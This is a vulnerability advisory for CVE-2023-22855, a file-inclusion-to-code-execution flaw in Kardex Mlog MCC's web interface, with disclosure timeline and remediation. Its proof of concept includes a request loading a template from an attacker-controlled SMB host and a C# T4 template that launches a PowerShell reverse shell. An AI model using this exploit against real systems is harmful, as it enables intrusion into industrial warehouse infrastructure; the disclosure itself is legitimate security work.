Remote Code Execution in Kardex MLOG
Product: Kardex Mlog MCC
Vendor: Kardex Holding AG
Tested Version: 5.7.12+0-a203c2a213-master
Fixed Version: inline patch - no new version number
Vulnerability Type: Improper Control of Generation of Code ("RFI") - CWE-94
CVSSv2 Severity: AV:A/AC:L/Au:N/C:C/I:C/A:C - Score 8.3
CVSSv3 Severity: AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H Score 9.6
Solution Status: fixed
Manufacturer Notification: 2022-12-13
Solution Date: 2023-01-24
Public Disclosure: 2023-02-07
CVE Reference: CVE-2023-22855
Authors of Advisory: Patrick Hener & Nico Viakowski
Kardex Mlog’s modular software solution Kardex Control Center manages material
flow and warehouse management processes faster and more efficiently.
From manual block warehouse and interface networking with intelligent partner
systems to an automated intralogistics system connected to production lines and
driverless vehicles, intelligent energy management for the automated stacker
cranes and modern system visualization, the Kardex Control Center modules offer
flexible solutions for your warehouse management.
The .NET based software spawns a web interface listening on port 8088.
This interface is meant to control and monitor the material flow.
The user controllable path is handed to a path concatenation function
(`Path.Combine`) without proper sanitization. This yields the possibility to
include local files, as well as remote files (SMB). The path is used in a
function called `getFile`.
The following code snippet shows the vulnerable part of this function:
public MccHttpServerResult GetFile(string path, string acceptEncoding, string queryString = null)
[... snip ...]
string getfileName = (path == "/") ? "index.html" : path.Substring(1).Replace("/",
string fileName = Path.Combine(this.RootDirectory(), getfileName);
string originalFileName = fileName;
The .Net function `Path.Combine` also is able to concatenate remote targets. For
example using `\\ipaddress` you can include files from a remote samba server.
Further down the request flow, the application is checking for the MIME type of
the file retrieved.
Depending on the MIME type the content is either sent through a
import/export procedure or rendered as `mono/t4` template. The function
`getMimeType` will return `t4` if the included file is ending with an extension
This is where the File Inclusion can be escalated to a Remote Code Execution.
The `mono/t4` templating engine allows the use of `C#` to evaluate code.
This enables an attacker to gain code execution and eventually spawn a reverse
bool flag15 = File.Exists(fileName);
using (FileStream f = new FileStream(fileName, FileMode.Open, FileAccess.Read, FileShare.ReadWrite))
byte bytes = new byte[f.Length];
f.Read(bytes, 0, bytes.Length);
bool flag16 = mime2 == "t4";
return this.runTemplatingEngine(bytes, responseHeaders, queryString);
Proof of Concept (PoC)
The following request will include a remote file from an smb share. For this to
work the attacker has to spawn an smb server (for example using `smbserver.py`
GET /\\attacker-ip/share/exploit.t4 HTTP/1.1
The `exploit.t4` looks like this:
<#@ template language="C#" #>
<#@ Import Namespace="System" #>
<#@ Import Namespace="System.Diagnostics" #>
Proof of Concept - SSTI to RCE
RCE running ...
var proc1 = new ProcessStartInfo();
anyCommand = "powershell -e revshell-base64-blob";
proc1.UseShellExecute = true;
proc1.WorkingDirectory = @"C:WindowsSystem32";
proc1.FileName = @"C:WindowsSystem32cmd.exe";
proc1.Verb = "runas";
proc1.Arguments = "/c "+anyCommand;
Enjoy your shell, good sir :D
The exploit above will execute `cmd.exe` and launch a `powershell` to execute
a reverse shell. You can easily generate a reverse shell blob using
A full exploit spawning a reverse shell was created.
The user supplied data should be sanitized before using it in the `Path.Combine`
2022-12-13: Vulnerability discovered
2022-12-13: Vulnerability reported to manufacturer
2023-01-24: Solution provided by manufacturer
2023-02-07: Public disclosure of vulnerability
 Vendor Website:https://www.kardex.com/en/mlog-control-center
 Impacket Git Repository:https://github.com/SecureAuthCorp/impacket
 Reverse Shell Generator:https://www.revshells.com/
 Exploit on Exploit-DB (tbd):https://www.exploit-db.com/exploits/xxxxx  Blog Post Advisory:https://hesec.de/posts/cve-2023-22855  Personal Github Repo for Advisory:https://github.com/patrickhener/CVE-2023-22855  Blog Post Thinking Objects:https://to.com/blog/advisory-kardex-mlog-CVE-2023-22855
This security vulnerability was found by Patrick Hener and Nico Viakowski.
E-Mail:patrickhener () posteo de
E-Mail:n.viakowski () pm me
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible.
Creative Commons - Attribution (by) - Version 3.0
Sent through the Full Disclosure mailing list
Web Archives & RSS: https://seclists.org/fulldisclosure/